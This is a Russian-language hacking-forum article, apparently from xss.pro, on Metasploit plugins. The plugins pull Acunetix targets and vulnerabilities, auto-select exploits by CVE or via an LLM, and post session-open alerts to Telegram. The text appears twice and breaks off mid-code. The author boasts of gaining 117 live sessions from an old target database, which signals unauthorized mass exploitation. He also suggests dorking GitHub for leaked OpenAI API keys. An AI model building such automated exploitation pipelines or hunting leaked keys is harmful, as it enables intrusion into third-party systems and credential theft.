Автор petrinh1988
Источник https://xss.pro
Всем привет!
Используйте материал статьи только в белых праведных целях, не совершайте преступлений.
Мы уже разрабатывали модули для Метасплоита, но то касалось чекеров и эксплоитов. Плагины же, нацелены на изменение самого фреймворка или его поведения, влияния на пользовательский опыт. Под этими общими словами, на самом деле скрывается довольно широкий спектр вариантов. Например, в этой статье мы сделаем следующие плагины:
Попутно зацепим полезные темы, например, как сделать так чтобы плагин подгружался автоматически с msfconsole. Сомнительная история, когда каждый раз нужно руками подгружать плагин.
К статье предлагаю относиться, как к исследованию и источнику идей. Да, некоторые плагины можно брать и сразу использовать. Идеи из некоторых нужно адаптировать. К слову сказать, слегка доработав первый плагин, я смог получить 117 живых сессий из давно отработанной базы таргетов.
Код написан на Rub, но достаточно знаний любого другого языка чтобы понять код. Не понятные моменты можно уточнить у AI. И да простят меня профи Ruby. Если у вас пойдет кровь из глаз я не виноват. Ну не мой это язык… часть кода написана мной, часть нейросетями… хоть это та еще пытка и зачастую тупо сжирает много часов на попытки заставить что-то работать, после чего приходилось самому разбираться)))
Перед началом обращу внимание на возможные места размещения файлов с кастомными плагинами, иначе можно задолбаться с ошибкой. Плагины можно размещать локально или глобально:
Если выскочила подобная ошибка:
Скорее всего, у пользователя под которым запущен msfconsole нет прав на чтение файла. Либо перезапустите консоль с sudo, либо переместите файл плагина в локальную .msf4. К слову, если консоль запущена с sudo, локальная папка будет /root/.msf4.
Начнем с Acunetix. Как взаимодействовать с его API я уже писал, поэтому на самом API подробно не буду останавливаться.
Наша задача построить более-менее приличный интерфейс для удобной работы из Metasploit. В моем понимании, это реализация следующей схемы работы:
В самом начале указываем руби, что может быть использован не только текст, но и бинарные данные. Это сделано на всякий случай, так как плагины метасплоита часто работают с сетевыми пакетами и другими бинарными данными:
Чтобы интегрироваться в фреймворк метасплоита, каждый плагин должен быть обернут в модуль Msf. Теперь можно объявить наш основной класс, который наследуется от Msf::Plugin
Класс реализует функцию инициализации, очистки, а также имя и описание. Эти функции достаточно просты и интуитивно понятны, чтобы их разбирать подробно. Лучше посмотрим на внутренний класс AcunetixCommandDispatcher, который нужен для обработки команд. Именно благодаря ему, мы можем создавать собственные команды в Metasploit. Обратите внимание, что здесь, как и в основном классе, есть функция name. Если в основном классе, функция name определяет имя класса по которому мы загружаем и выгружаем его в/из фреймворка (load acunetix), в диспетчере она нужна для отображения в списке команд вызываемом функцией help:
Да-да, идиотской затеей было использовать кириллицу в плагине. Исправим.
Функция “commands” возвращает список команд с описанием, а реализуются эти команды при помощи функций с названиями начинающимися на cmd_ и именем из того самого возвращаемого списка.
Выглядит все достаточно доступно. Реализуем вывод таргетов из окуня. Для этого нам потребуется где-то хранить путь к API и секретный ключ. Ну и пару функций для выполнения запросов.
Начнем с добавления в основной класс приватных сервисных методов, которые будут запрашивать данные у Acunetix API и выводить результаты:
Ключевая здесь “acunetix_api_request”, остальное все обертки.
Здесь же, напишем функцию распечатывающую информацию о найденных таргетах. Так как объект возвращаемый Acunetix нам позволяет два раза не вставая получить информацию по количеству уязвимостей, выведем с разбивкой по уровню риска.
Добавим функцию инициализации для диспетчера команд.
На входе принимаем драйвер, который передаем родительскому классу. После чего объявляем сервисные переменные. Теперь можно заняться списком команд плагина::
Из списка команд понятно, что реализовывать будем четыре команды:
Как видно со скрина, команды прекрасно отрабатывают. Даже автодополнение команд, это видно по моим затупам при вызове функции acu_search.
Отдельно хочется поговорить про пагинацию, потому что она реализована крайне интересным образом. Пришлось провести небольшое исследование, чтобы понять логику. Это не пипец как важно для реализации нашего плагина, но чем как не исследованиями занимаются собравшиеся здесь люди? Искусство взлома, не важно технического или социального, это ведь в первую очередь исследование… поэтому и уделяю внимание этому блоку.
Вот пример объекта пагинации:
Это результат запроса без курсора, т.е. первой страницы в выводе. Логично было бы предположить, что первое значение это предыдущая страница, второе текущая, третье следующая. В эту логику укладывается и null, который на первой странице не может ничего другого содержать, кроме как null. Но эта логика привела к вырванным клочкам волос, так как реализовав алгоритм, я получал совершенно неожиданные результаты и полностью непослушный механизм пролистывания. Благо сам окунь использует точно такие же объекты и логику в своем интерфейсе, а значит можно мониторить запросы на вкладке “Сеть” браузера:
Логика оказалась следующей:
Теперь можно посмотреть полный код получения списка таргетов:
Чтобы переходить к уязвимостям, нужно организовать выбора таргета. Решил пойти в направлении удобства, хоть и пожалею об этом, как обычно))) Сделал выбор, как по идентификатору, так и введя часть имени домена:
Обратите внимание, что для функции поиска не прикручивал алгоритм пагинации, лучше используйте точные значения)
Чтобы убедиться, что все работает и таргет выбирается, добавим функцию вывода основной информации:
С первой частью практически покончено. Процесс выбора уязвимости мало отличается от выбора таргета. Мы делаем схожий запрос, только к другому endpoint, передавая идентификатор выбранного таргета. Поэтому акцентировать внимание на них не буду, весь код есть в приложенных исходниках.
Дополним список функций, необходимыми для получения уязвимостей и выводу информации по ним:
В выводе списка уязвимостей, так же реализован вывод с фильтрацией по уровню опасности. В Acunetix есть пять уровней от 0 до 4, где 0 это Low, а 4 это Critical. Плагин поддерживает перечисление через запятую: 3,4 приведет к выводу уязвимостей с уровнем High и Critical.
Функция выбора уязвимости, как и выбора таргета, принимает индекс или частичное название:
Функция вывода описания уязвимости имеет два формата: обычный и расширенный. Если пользователь выполнит команду с параметром “extended”, в вывод добавятся такие поля, как request и response, и другие. Обращаю внимание, что логика команды построена так чтобы пользователь мог вывести информацию, как с использованием индекса из списка уязвимостей, так и без его указания, если была выполнена acu_vuln_select для выбора:
Переходим к самому интересному. На основе уязвимости попытаемся реализовать механизм подбора и автоматической настройки эксплоита.
Для тестов, возьмем старый добрый Metasploitable 2, который и был создан для эксплуатации метасплоитом. Как установить описано во множестве материалов. После установки нужно просканировать окунем. Для наглядности, в hosts прописал metasploitable2.com
Перед нами стоит большое количество проблем, многие из которых не получится решить универсально. Мы сможем сделать только компромиссный вариант, нацеленный на некоторые виды уязвимостей. Хорошая новость в том, что постепенно его можно наполнять и наполнять. Для статьи используем CVE-2012-1823, которая классически используется для демонстрации возможностей Metasploit.
Первое, что приходит в голову, это поиск по CVE. Многие уязвимости в Acunetix имеют в своем описании ссылки на существующие CVE. Вычленив номер из уязвимости, мы можем покопаться в framework.modules. Учитывая, что Acunetix может запихать CVE почти куда угодно, проверять будем сразу множество полей (тэги, название уязвимости, описание и ссылки):
Когда у нас есть список найденyых CVE, можно заняться поиском подходящего эксплоита.
Но есть нюанс. В этом массиве храняться только имена модулей. Чтобы посмотреть метаданные, нужно загрузить этот модуль. Тогда и только тогда будет возможность проверить совпадение по нашему CVE.
Процесс поиска проходит на основании объекта references, который содержит ссылки (описания) на внешние ресурсы, связанные с CVE, CWE, BID, MSB, WPVDB и т.д. Помимо ctx_id и ctx_val, есть геттер site, который содержит ссылку на ресурс с описанием уязвимости. Вот кусок файла описывающего объект /usr/share/metasploit-framework/lib/msf/core/module/reference.rb
Т.е., при желании, можно значительно расширить возможности поиска.
Необходимость загружать модули сильно замедляет процесс. Если сравнить поиск с “search cve:”, разница будет существенной. В рамках статьи оставлю реализацию как есть, но при желании можно использовать костыли… например, системно выполнить searchsploit и распарсить результат. Или воспользоваться этим плагином:
Это плагин создаст файл, в который выгрузит все названия модулей и CVE в таком формате:
Останется только в плагине отфильтровать данные из файла и вытащить полные названия. А мы идем дальше.
Напишем функцию активации и протестируем:
Я не стал заморачиваться и использовал возможность выполнить команду прямо в консоли при помощи драйвера. Помните передавали для создания объекта? Вот, пригодился.
Само использование команды вряд ли требует пояснений. Просто пишем команду, которая нам нужна и все, для msfconsole это тоже самое, как если бы пользователь вбил данные.
Кстати, плагин в автоматическом режиме ищет свободный порт. Функция поиска порта:
Минимальное и максимальное значение взято случайным образом. Функция получает все занятые порты сессиями, чтобы не пересекаться с ними. После проходит по списку портов, пытаясь создать на каждом сервер. Если сервер создается и порт не относится к существующей сессии, функция считает порт доступным для использования. Не забудьте в начале плагина импортировать библиотеку ‘socket’.
В плагине отсутствует получение IP адреса для установки LHOST. Это сделано из-за того, что может быть разная конфигурация сетевых устройств. Но, в теории, можно было бы использовать что-то типа такого:
Результат тестирования:
Ругательства метасплоита, в процессе поиска, как раз таки связаны с необходимостью загружать модули в память. Оно не всегда выскакивает, но если выпало, не пугайтесь - все идет по плану.
Как видно на скрине, в конце у нас изменилось приглашение, а значит эксплоит активировался. Если посмотреть опции, плагин их так же установил:
Если у нас нет CVE, скорее всего уязвимость не подойдет для эксплуатации и создания сессии в Метасплоит. Не могу гарантировать, но вроде как всем эксплуатируемым уязвимостям Acunetix указывает CVE. В ином случае придется заниматься фаззингом по ключевым словам. Брать тэги, брать части названия и шерстить по модулям. Но этот процесс может сильно затянуться, поэтому писать код под него не вижу смысла. Если появится желание его дописать, важно придумать алгоритм вычлинения ключевых слов, а процесс поиска будет крайне схож с поиском по CVE: загрузили модуль в память, посмотрели совпадения. Можно попытаться поискать совпадения и в самому пути к эксплоиту.
Что касается устанавливаемых опций, я использовал минимальный набор. Но, ради интереса, написал плагин, который собирает все уникальные опции эксплоитов. Всего получилось 1307 вариаций. Плагин в приложенном архиве, как и файл со списком.
Без накачки знаниями, модель llama ничерта не знает о модуля метасплоита. Возможно есть готовые подходящие модели на huggingface, я не нашел.
С промптами к gpt нужно быть внимательным, иначе может случиться казус:
Потребуется платный аккаунт, который можно поискать в разных шопах за адекватные деньги. Либо взять какой-то агрегатор нейронок. Я нашел агрегатор в котором достаточно было подтвердить номер телефона и получить стартовый баланс в 20 рублей, чего за глаза хватает для моей задачи. Это не реклама, даже не отзыв о сервисе, сделал в нем всего пару десятков запросов чтобы получить рабочий вариант плагина.
Начнем с упрощения функции поиска эксплоита, удалив все лишнее:
Рассматривать API сервиса не вижу смысла, так как нам от него нужна всего одна функция и один типовой запрос. Единственный нюанс, я сделал ставку не на лонг-пулинг, а на синхронный запрос. Задача не сложная и ответ от нейросети будет коротким, поэтому проблем возникнуть не должно. Так же не заморачивался с температурами и прочими параметрами.
Функция запрашивающая название модуля эксплоита у AI:
Я не силен в написании промптов, поэтому попросил написать его ChatGPT. Возможно, можно сильно сократить с целью экономии денег. Модель я использовал “о1”, можно попробовать chat-gpt-3, чтобы было подешевле.
Остается прописать API ключ и выполнить тест:
Иииха, все четко работает. Неприятна только цена в почти 9 рублей за генерацию. Можно, конечно, выкинуть описание ошибки. В нем много лишнего, что жрет токены. Но, что интересно, предыдущая попытка запроса стоила меньше 4х рублей. Может сервис что-то мутит. Но повторюсь, это просто первый попавшийся сервис. Главное, что мы добились своей цели — скрестили Acunetix, Metasploit и нейросеть.
Можно попробовать поискать на github слитые ключи, или попробовать дорками покопать (что-то вроде “site:github.com key sk-”), варианты есть, но конечно же не советую и осуждаю.
Кстати, устанавливать опции тоже можно через ‘datasotre’. В предыдущем плагине, после выбора объекта через driver.run_single, мы могли не использовать его же для установки опций, а воспользоваться ‘datastore’. Это более нативный способ, но “тихий”, при использовании run_single пользователь увидит в консоли происходящие изменения, а datastore ничего не сообщит. В случаях полной автоматизации, более предпочтительно работать с active_module,
Объединим знания из предыдущего раздела с новыми и напишем модуль отправляющий таргет на сканирование в окуня.
В чем удобство, если нужно каждый раз загружать плагин? Исправим!
Отредактируйте файл:
Если его нет создайте. Если запускаете консоль под sudo, то создавайте файл не в домашней папке текущего пользователя, а в /root/.msf4. msf4 в любом случае, даже если у вас шестая версия, как у меня. В файл прописываем команду загрузки:
Теперь, при загрузке консоли метасплоит, вы будете видеть сообщение об успешной загрузке плагина:, а значит с плагином все окей.
Что делать, если мы хотим выполнить какую-то программу, у которой нет собственного API? Кто постоянно пользуется Метасплоитом знает, что для этого не нужен никакой сторонний плагин. Можно просто ввести команду, как в обычном терминале Linux и получить результат. Но мы больше о концепциях и возможностях, которые можно реализовывать при помощи плагинов. В данном случае, будем запускать сканирование уязвимостей при помощи nmap с последующим парсингом отчета и автоматическим подбором эксплоита. Плагин так же будет брать данные из активного модуля. Сканировать будем со скриптом “vuln”. “Жертва” снова Metasploitable 2.
Описывать весь код плагина не буду, так как ключевые функции просто скопированы из предыдущих плагинов. Главная информация, это сам запуск nmap и работа с отчетом. Простейший способ, это выполнение команды с генерацией отчета во временный файл с последующим парсингом:
Выполнили системный запуск команды при помощи обратных кавычек ``, после чего регуляркой вытащил CVEшки. Функция поиска эксплоитов почти идентична функции из прошлого раздела, разве что ищет не только “exploit”, но и “auxiliary”:
Другой интересный кусок кода:
Интересна она получением успешности эксплоита из объекта mod. В нем, на самом деле, есть огромное количество полезных методов. Вот некоторые из них, которые были бы полезны для наполнения вывода плагина:
Сделаем плагин, который будет отправлять такие вот уведомления в Телеграм:
Сразу становится понятно, что и где происходит. Указание на сервер Метасплоита нужно на случай, если нужно указать где именно загрузилась сессия)))
Для реализации задумки, нам потребуется объект framework.events, который представляет собой центр событий. При помощи него мы можем подписываться на события происходящие в Мете. Можно отслеживать изменения состояний сессий, эксплоитов и базы данных. Например, при создании сессии, генерируется подобное событие:
framework.events.on_event
session_open, session)
Чтобы его перехватить, нам нужно подписаться, дав Метасплоиту понять, что мы готовы обрабатывать событие:
Для перехвата, потребуется соответствующая функция:
Чтобы избежать проблем, добавим отписку от обработке событий:
Всё! Так легко и просто можно обрабатывать открытие сессии. Для завершения нашего плагина нужно дописать получение данных из объекта сессии и отправку в телегу:
Из важных новшеств, стоит обратить внимание на изменения в диспетчере:
Что здесь происходит? Мы создаем статическую переменную (да простят меня адепты Ruby), чтобы через нее передать инстанс нашего основного объекта плагина. Это нужно для того, чтобы из диспетчера были доступны переменные отвечающие за состояние бота. После, переменные плагина будут доступны следующим образом:
Перед добавлением диспетчера нужно не забыть выполнить присвоение:
Вот как будет выглядеть работа в консоли Metasploit.
Как выглядит само уведомление, можно увидеть выше.
Мы и так написали несколько очень крутых плагинов. Попробовали разные варианты взаимодействия с внешним программным обеспечением, познакомились с внутренним устройством объектов Метасплоита, протестировали работу с событийной моделью. Теперь дело за малым, адаптировать плагины под себя. Я уже писал, что слегка адаптировав скрипты из статьи, прошелся по базе из 9800 таргетов и нашел чуть больше сотни новых сессий. Причем, в практически автоматическом режиме. Скорее всего, это следствие невнимательности, лени или недостаточного опыта при прошлых попытках работы. Но даже с учетом этого, мне кажется, довольно неплохой улов, учитывая что скрипты останутся у меня и почти не требуют никаких дополнительных мучений.
Обязательно напишите, как вам статья. Пока прощаюсь с вами, но скоро будет еще один материал про Метасплоит, который точно не оставит никого равнодушным. Надеюсь вам понравилось)
Источник https://xss.pro
Всем привет!
Используйте материал статьи только в белых праведных целях, не совершайте преступлений.
Мы уже разрабатывали модули для Метасплоита, но то касалось чекеров и эксплоитов. Плагины же, нацелены на изменение самого фреймворка или его поведения, влияния на пользовательский опыт. Под этими общими словами, на самом деле скрывается довольно широкий спектр вариантов. Например, в этой статье мы сделаем следующие плагины:
- Плагин, получающий данные из Acunetix или любой другой системы сканирования через API. Пример прекрасно адаптируется под любую систему. Хоть под Invicti Professional, хоть под Nessus, хоть подо что угодно. Ну, за исключением пагинации… но об этом позже.
Плагин позволит получить таргеты, уязвимости и автоматически подобрать эксплоит. В одной из вариаций, подбор эксплоита отдадим нейросети, чтобы повысить точность. - Обратная тема. Если не удалось выполнить эксплоит, почему бы не передать сканеру на дополнительный чек. В этой части запустим сканирование в окуне и nmap. Она больше концептуальная, чтобы навести на интересные мысли по выстраиванию многошаговой автоматизации.
- В последнем плагине поработаем с моделью состояний Metasploit. Напишем плагин, который будет отправлять уведомление о успешно созданной сессии в телеграм. Это может быть крайне полезным, когда мы ждем отработку пэйлоада с реверс шеллом и когда эта отработка произойдет мы не знаем.
Попутно зацепим полезные темы, например, как сделать так чтобы плагин подгружался автоматически с msfconsole. Сомнительная история, когда каждый раз нужно руками подгружать плагин.
К статье предлагаю относиться, как к исследованию и источнику идей. Да, некоторые плагины можно брать и сразу использовать. Идеи из некоторых нужно адаптировать. К слову сказать, слегка доработав первый плагин, я смог получить 117 живых сессий из давно отработанной базы таргетов.
Код написан на Rub, но достаточно знаний любого другого языка чтобы понять код. Не понятные моменты можно уточнить у AI. И да простят меня профи Ruby. Если у вас пойдет кровь из глаз я не виноват. Ну не мой это язык… часть кода написана мной, часть нейросетями… хоть это та еще пытка и зачастую тупо сжирает много часов на попытки заставить что-то работать, после чего приходилось самому разбираться)))
Важная оговорка про пути
Перед началом обращу внимание на возможные места размещения файлов с кастомными плагинами, иначе можно задолбаться с ошибкой. Плагины можно размещать локально или глобально:
Код:
~/.msf4/plugins/
/usr/share/metasploit-framework/plugins/
Если выскочила подобная ошибка:
Код:
[-] Failed to load plugin from /usr/share/metasploit-framework/plugins/test: Plugin is not a module
/usr/share/metasploit-framework/lib/msf/core/plugin.rb:21: previous definition of Plugin was here
Скорее всего, у пользователя под которым запущен msfconsole нет прав на чтение файла. Либо перезапустите консоль с sudo, либо переместите файл плагина в локальную .msf4. К слову, если консоль запущена с sudo, локальная папка будет /root/.msf4.
Загрузка данных из сканеров
Начнем с Acunetix. Как взаимодействовать с его API я уже писал, поэтому на самом API подробно не буду останавливаться.
Наша задача построить более-менее приличный интерфейс для удобной работы из Metasploit. В моем понимании, это реализация следующей схемы работы:
- Выбор таргета. Либо постраничный вывод полного списка таргетов, которые есть в окуне. Либо поиск таргета по домену.
- Когда таргет выбран, нам было бы неплохо иметь возможность посмотреть список уязвимостей. В идеале, есть смысл отфильтровать большую часть, так как не все можно поэксплуатировать. В рамках статьи, будем отбрасывать всякий информационный шлак типа “Generic Email Address Disclosure”. Дальше, по примеру, каждый сможет собрать свою коллекцию фильтров.
- Очень неплохо было бы сделать автоматический подбор эксплоита.
Ruby:
# -*- coding: binary -*-
# Acunetix Integration Plugin for Metasploit
module Msf
class Plugin::AcunetixIntegration < Msf::Plugin
class AcunetixCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
def name
"Acunetix Integration"
end
def commands
{
'acu_search' => "Пример команды для интеграции с Acunetix"
}
end
def cmd_acu_search(*args)
print_line("Acunetix Integration: команда acu_search была вызвана!")
end
end
def initialize(framework, opts)
super
add_console_dispatcher(AcunetixCommandDispatcher)
print_status("Acunetix Integration plugin загружен.")
end
def cleanup
remove_console_dispatcher('Acunetix Integration')
end
def name
"Acunetix Integration"
end
def desc
"Плагин для интеграции с Acunetix"
end
end
end
В самом начале указываем руби, что может быть использован не только текст, но и бинарные данные. Это сделано на всякий случай, так как плагины метасплоита часто работают с сетевыми пакетами и другими бинарными данными:
Код:
# -*- coding: binary -*-
Чтобы интегрироваться в фреймворк метасплоита, каждый плагин должен быть обернут в модуль Msf. Теперь можно объявить наш основной класс, который наследуется от Msf::Plugin
Ruby:
module Msf
class Plugin::AcunetixIntegration < Msf::Plugin
Да-да, идиотской затеей было использовать кириллицу в плагине. Исправим.
Функция “commands” возвращает список команд с описанием, а реализуются эти команды при помощи функций с названиями начинающимися на cmd_ и именем из того самого возвращаемого списка.
Выглядит все достаточно доступно. Реализуем вывод таргетов из окуня. Для этого нам потребуется где-то хранить путь к API и секретный ключ. Ну и пару функций для выполнения запросов.
Начнем с добавления в основной класс приватных сервисных методов, которые будут запрашивать данные у Acunetix API и выводить результаты:
Ruby:
private
def acunetix_api_request(path, query, cursor = nil)
uri = URI.parse("#{@acunetix_api_url}#{path}")
query_string = []
query_string << "c=#{cursor}" if cursor
query_string << "l=25"
query_string << "q=#{query}" if query
uri.query = query_string.join('&')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
request = Net::HTTP::Get.new(uri.request_uri)
request['X-Auth'] = @acunetix_api_key
response = http.request(request)
JSON.parse(response.body) rescue {}
end
def list_targets(cursor = nil)
data = acunetix_api_request('/targets', nil, cursor)
pagination = data['pagination'] || {}
cursors = pagination['cursors'] || []
@targets_total_pages = (pagination['count'].to_f / 25).ceil || 0
[data['targets'] || [], cursors]
end
def search_targets(search_term)
data = acunetix_api_request('/targets', search_term)
data['targets'] || []
end
Ключевая здесь “acunetix_api_request”, остальное все обертки.
Здесь же, напишем функцию распечатывающую информацию о найденных таргетах. Так как объект возвращаемый Acunetix нам позволяет два раза не вставая получить информацию по количеству уязвимостей, выведем с разбивкой по уровню риска.
Ruby:
def display_targets(targets)
targets.each_with_index do |target, index|
num = index + 1
desc = target['description'] ? " (#{target['description']})" : ""
severity_counts = target['severity_counts'] || {}
print_line("%3d. %-45s %-25s | Critical: %3d | High: %3d | Medium: %3d " % [
num,
target['address'].to_s[0, 45], # обрезка, если длинный адрес
desc.to_s[0, 25], # обрезка, если длинное описание
severity_counts['critical'] || 0,
severity_counts['high'] || 0,
severity_counts['medium'] || 0
])
end
end
end
Добавим функцию инициализации для диспетчера команд.
Ruby:
class AcunetixCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
def initialize(driver)
super(driver)
@acunetix_api_url = 'https://localhost:3443/api/v1'
@acunetix_api_key = '<your_api_key>'
@selected_target = nil
@selected_vuln = nil
@cached_targets = []
@cached_vulns = []
@severity = nil
@active_exploit_module = nil
@pending_exploits = nil
@target_cursors = [nil]
@target_current_page = 1
@targets_total_pages = 1
@vuln_cursors = [nil]
@vuln_current_page = 1
@vuln_total_pages = 1
end
На входе принимаем драйвер, который передаем родительскому классу. После чего объявляем сервисные переменные. Теперь можно заняться списком команд плагина::
Ruby:
def commands
{
'acu_search' => "Search targets in Acunetix by name/description",
'acu_list' => "List all targets (paginated, 25 per page)",
'acu_select' => "Select target by number for further operations",
'acu_show' => "Show currently selected target"
}
end
Из списка команд понятно, что реализовывать будем четыре команды:
- Поиск по части доменного имени
- Постраничный вывод всех таргетов
- Выбор таргета для дальнейшей работы
- Вывод информации о выбранном таргете
Ruby:
def cmd_acu_search(*args)
if args.empty?
print_error("Please specify search query. Example: acu_search example.com")
return
end
search_term = args.join(' ')
targets = fetch_targets(search_term)
if targets.empty?
print_error("No targets found for: #{search_term}")
else
print_good("Found #{targets.size} target(s):")
@cached_targets = targets
display_targets(targets)
end
end
def cmd_acu_list(*args)
all_targets, cursors = list_targets()
if all_targets.empty?
print_error("No targets found in Acunetix")
return
end
@cached_targets = all_targets
display_targets(all_targets)
end
Как видно со скрина, команды прекрасно отрабатывают. Даже автодополнение команд, это видно по моим затупам при вызове функции acu_search.
Отдельно хочется поговорить про пагинацию, потому что она реализована крайне интересным образом. Пришлось провести небольшое исследование, чтобы понять логику. Это не пипец как важно для реализации нашего плагина, но чем как не исследованиями занимаются собравшиеся здесь люди? Искусство взлома, не важно технического или социального, это ведь в первую очередь исследование… поэтому и уделяю внимание этому блоку.
Вот пример объекта пагинации:
Код:
"cursors": [
null,
"WyIyMDI0LTExLTIyVDA3OjQ5OjM5LjQ4NzgzNCswMDowMCIsIDM1MDY3ODg0MDEzNzYzOTcxNjBd",
"WyIyMDI0LTExLTIyVDA3OjQ5OjM5LjA3ODU3NiswMDowMCIsIDM1MDY3ODgzOTc5MzcwNjc4MjBd"
],
Это результат запроса без курсора, т.е. первой страницы в выводе. Логично было бы предположить, что первое значение это предыдущая страница, второе текущая, третье следующая. В эту логику укладывается и null, который на первой странице не может ничего другого содержать, кроме как null. Но эта логика привела к вырванным клочкам волос, так как реализовав алгоритм, я получал совершенно неожиданные результаты и полностью непослушный механизм пролистывания. Благо сам окунь использует точно такие же объекты и логику в своем интерфейсе, а значит можно мониторить запросы на вкладке “Сеть” браузера:
Логика оказалась следующей:
- Первая страница доступна только без указания курсора. Чтобы определить, что мы на первой странице, нужно проверить первое значение на Null
- Вторая и последующие страницы содержат указатель на предыдущую страницу и две последующих.
- Предпоследняя страница, содержит два курсора (предыдущая и последующая)
- Последняя страница содержит один указатель на предыдущую страницу.
Теперь можно посмотреть полный код получения списка таргетов:
Ruby:
def cmd_acu_list(*args)
direction = args[0]
if direction.nil?
@target_current_page = 1
elsif direction == "next"
@target_current_page += 1
elsif direction == 'prev'
@target_current_page -= 1
else
@target_current_page = args[0].to_i
end
if @target_current_page < 1
@target_current_page = 1
elsif @target_current_page > @target_cursors.size
@target_current_page = @target_cursors.size
end
all_targets, cursors = list_targets(@target_cursors[@target_current_page - 1])
if all_targets.empty?
print_error("No targets found in Acunetix")
return
end
@target_cursors = (@target_cursors + cursors).uniq
@cached_targets = all_targets
display_targets(all_targets)
print_line("Use 'acu_list prev' or 'acu_list next' or 'acu_list <num_page>' to navigate pages.") if cursors.size > 0
print_line("Current page is #{@target_current_page} from #{@targets_total_pages}")
end
Чтобы переходить к уязвимостям, нужно организовать выбора таргета. Решил пойти в направлении удобства, хоть и пожалею об этом, как обычно))) Сделал выбор, как по идентификатору, так и введя часть имени домена:
Ruby:
def cmd_acu_select(*args)
if args.empty?
print_error("Please specify target number or part of domain/description.")
return
end
query = args.join(' ')
if query.match?(/^\d+$/)
index = query.to_i
if @cached_targets && index.between?(1, @cached_targets.size)
@selected_target = @cached_targets[index - 1]
print_good("Selected target ##{index}: #{@selected_target['description'] || @selected_target['address']}")
else
print_error("Invalid target number. Use 'acu_list' or 'acu_search' to see available targets.")
end
else
matches = @cached_targets.select do |t|
t['address'].downcase.include?(query.downcase) ||
(t['description'] && t['description'].downcase.include?(query.downcase))
end
if matches.empty?
print_error("No targets match your query: '#{query}'")
elsif matches.size == 1
@selected_target = matches.first
print_good("Selected target: #{@selected_target['description'] || @selected_target['address']}")
else
print_status("Multiple targets match your query. Please refine it or use the number:")
display_targets(matches)
end
end
end
Обратите внимание, что для функции поиска не прикручивал алгоритм пагинации, лучше используйте точные значения)
Чтобы убедиться, что все работает и таргет выбирается, добавим функцию вывода основной информации:
Ruby:
def cmd_acu_show(*args)
if @selected_target
print_good("Currently selected target:")
print_line(" ID: #{@selected_target['target_id']}")
print_line(" Address: #{@selected_target['address']}")
print_line(" Description: #{@selected_target['description'] || 'N/A'}")
else
print_error("No target selected. Use 'acu_list' and 'acu_select' first")
end
end
С первой частью практически покончено. Процесс выбора уязвимости мало отличается от выбора таргета. Мы делаем схожий запрос, только к другому endpoint, передавая идентификатор выбранного таргета. Поэтому акцентировать внимание на них не буду, весь код есть в приложенных исходниках.
Дополним список функций, необходимыми для получения уязвимостей и выводу информации по ним:
Ruby:
def commands
{
'acu_search' => "Search targets in Acunetix by name/description",
'acu_list' => "List all targets (paginated, 25 per page)",
'acu_select' => "Select target by number for further operations",
'acu_show' => "Show currently selected target",
'acu_vuln_list' => 'List all target vulnerabilities',
'acu_vuln_show' => "Show details for specific vulnerability by number",
'acu_vuln_select' => 'Select vulnerability by number'
}
end
В выводе списка уязвимостей, так же реализован вывод с фильтрацией по уровню опасности. В Acunetix есть пять уровней от 0 до 4, где 0 это Low, а 4 это Critical. Плагин поддерживает перечисление через запятую: 3,4 приведет к выводу уязвимостей с уровнем High и Critical.
Ruby:
def cmd_acu_vuln_list(*args)
if @selected_target.nil?
print_error("No target selected. Use 'acu_list' and 'acu_select' first")
return
end
direction = args[0]
if direction.nil?
@vuln_current_page = 1
elsif direction == "next"
@vuln_current_page += 1
elsif direction == 'prev'
@vuln_current_page -= 1
else
@vuln_current_page = args[0].to_i
end
if @vuln_current_page < 1
@vuln_current_page = 1
elsif @vuln_current_page > @vuln_cursors.size
@vuln_current_page = @vuln_cursors.size
end
@severity = args[1].to_i if args[1]&.to_i&.positive?
all_vulns, cursors = list_vulns(@vuln_cursors[@vuln_current_page - 1])
if all_vulns.empty?
print_error("No vulnerabilities found for target in Acunetix")
return
end
@vuln_cursors = (@vuln_cursors + cursors).uniq
@cached_vulns = all_vulns
display_vulns(all_vulns)
print_line("Use 'acu_vuln_list prev <severity>' or 'acu_vuln_list next <severity>' or 'acu_vuln_list <page num> <severity>' to navigate pages.") if cursors.size > 0
print_line("Current page is #{@vuln_current_page} from #{@vuln_total_pages}")
end
def list_vulns(cursor = nil)
query = "target_id:#{@selected_target['target_id']}"
query += ";severity:#{@severity}" if @severity
data = acunetix_api_request('/vulnerabilities', query, cursor)
pagination = data['pagination'] || {}
cursors = pagination['cursors'] || []
@vuln_total_pages = (pagination['count'].to_f / 25).ceil || 0
[data['vulnerabilities'] || [], cursors]
end
def display_vulns(vulns)
vulns.each_with_index do |vuln, index|
print_line("%3d. [%s] %-50s" % [
index + 1,
vuln['severity'],
vuln['vt_name']
])
end
end
Функция выбора уязвимости, как и выбора таргета, принимает индекс или частичное название:
Ruby:
def cmd_acu_vuln_select(*args)
if args.empty?
print_error("Please specify vulnerability number or part of name.")
return
end
query = args.join(' ')
if query.match?(/^\d+$/)
index = query.to_i
if @cached_vulns.is_a?(Array) && index.between?(1, @cached_vulns.size)
@selected_vuln = @cached_vulns[index - 1]
print_good("Selected vulnerability ##{index}: #{@selected_vuln['vt_name']}")
else
print_error("Invalid vulnerability number. Use 'acu_vuln_list' to see available vulnerabilities.")
end
else
matches = @cached_vulns.select do |t|
t['vt_name'] && t['vt_name'].match?(/#{Regexp.escape(query)}/i)
end
case matches.size
when 0
print_error("No vulnerabilities match your query: '#{query}'")
when 1
@selected_vuln = matches.first
print_good("Selected vulnerability: #{@selected_vuln['vt_name']}")
else
print_status("Multiple vulnerabilities match your query. Please refine it or use the number:")
display_vulns(matches)
end
end
end
Функция вывода описания уязвимости имеет два формата: обычный и расширенный. Если пользователь выполнит команду с параметром “extended”, в вывод добавятся такие поля, как request и response, и другие. Обращаю внимание, что логика команды построена так чтобы пользователь мог вывести информацию, как с использованием индекса из списка уязвимостей, так и без его указания, если была выполнена acu_vuln_select для выбора:
Ruby:
def cmd_acu_vuln_show(*args)
if @cached_vulns.empty?
print_error("No vulnerabilities cached. Use 'acu_vuln_list' first")
return
end
extended = args.include?('extended')
args = args.reject { |a| a == 'extended' }
vuln = nil
if args.empty?
if @selected_vuln
vuln = @selected_vuln
else
print_error("No vulnerability number provided and no vulnerability selected. Use 'acu_vuln_select' or pass a number.")
return
end
else
vuln_index = args[0].to_i
